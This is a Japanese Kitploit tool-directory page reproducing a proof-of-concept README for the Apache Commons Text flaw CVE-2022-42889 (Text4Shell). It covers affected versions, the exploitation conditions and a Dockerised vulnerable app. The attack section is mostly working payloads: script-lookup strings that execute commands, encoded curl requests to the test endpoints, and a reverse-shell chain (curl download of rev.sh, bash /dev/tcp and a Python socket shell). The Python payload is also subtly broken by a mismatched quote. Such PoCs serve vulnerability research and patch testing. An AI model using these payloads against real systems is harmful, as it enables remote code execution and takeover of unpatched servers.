Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/cxzero/cve-2022-42889-text4shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 別名 Text4Shell 研究 & PoC

リポジトリを見る
2033年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-42889 (通称 text4shell)

最近発見されたApache Commons Textの脆弱性に対するPoCです(@pwntesterより):

https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ でも触れられているように: この脆弱性は、StringSubstitutorインターポレータオブジェクトに存在します。インターポレータはStringSubstitutor.createInterpolator()メソッドによって作成され、StringLookupFactoryで定義されている文字列ルックアップを可能にします。これは、“${prefix:name}”という文字列を渡すことで利用できます。ここでprefixは前述のルックアップです。“script”、“dns”、“url”の各ルックアップを使用すると、細工された文字列がインターポレータオブジェクトに渡された際に任意のスクリプトを実行できる可能性があります。

影響を受けるバージョン

影響を受けるApache Commons Textのバージョンは1.5から1.9です。バージョン1.10で修正されました。

悪用条件

  • Apache Commons Textのバージョン1.5から1.9を実行している
  • StringSubstitutorインターポレータクラスを使用している

リモートから悪用するには、攻撃者が制御した入力をStringSubstitutorのインターポレーションの入力として使用する必要があります。具体的には、StringSubstitutor.replace() または StringSubstitutor.replaceIn() メソッド内で使用される必要があります。

その他のJavaScriptスクリプトエンジン

JDK 15以降、Nashorn JavaScriptエンジンは削除されました(https://openjdk.org/jeps/372)。ただし、JEXLなどのサードパーティ依存関係が含まれている場合、Apache Commons TextでRCEが発生する可能性があります(https://twitter.com/pwntester/status/1582321752566161409)

悪用方法

scriptインターポレータ

RCEを取得するために悪用可能です。

JDK < 15

Nashornエンジン:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

サードパーティのJEXLを使用する場合:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

dnsインターポレータ

DNSルックアップにつながる可能性があります:

root@kitploit:~
${dns:address|commons.apache.org}

urlインターポレータ

指定されたURLに接続し、コンテンツの取得を試みます:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

PoCの手動コンパイル

テンプレートは https://start.spring.io/ に基づいています

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Dockerでのアプリケーション実行

JVM 11を使用

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

JVM 19を使用

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

提供されるPoC

前述の異なる攻撃ベクトルをテストするための複数のエンドポイントが提供されています。

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Nashornを使用:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

JEXLを使用:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

リバースシェルの取得

簡単のため、デフォルトのDockerインターフェースをnetcatリスナーに使用しています。試行錯誤の結果、以下のbashとpythonのリバースシェルペイロードが正常に動作しました:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

ここでrev.shは以下の内容で配信されます:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

参考資料

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

他のPoCへのクレジット

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
ツールをダウンロード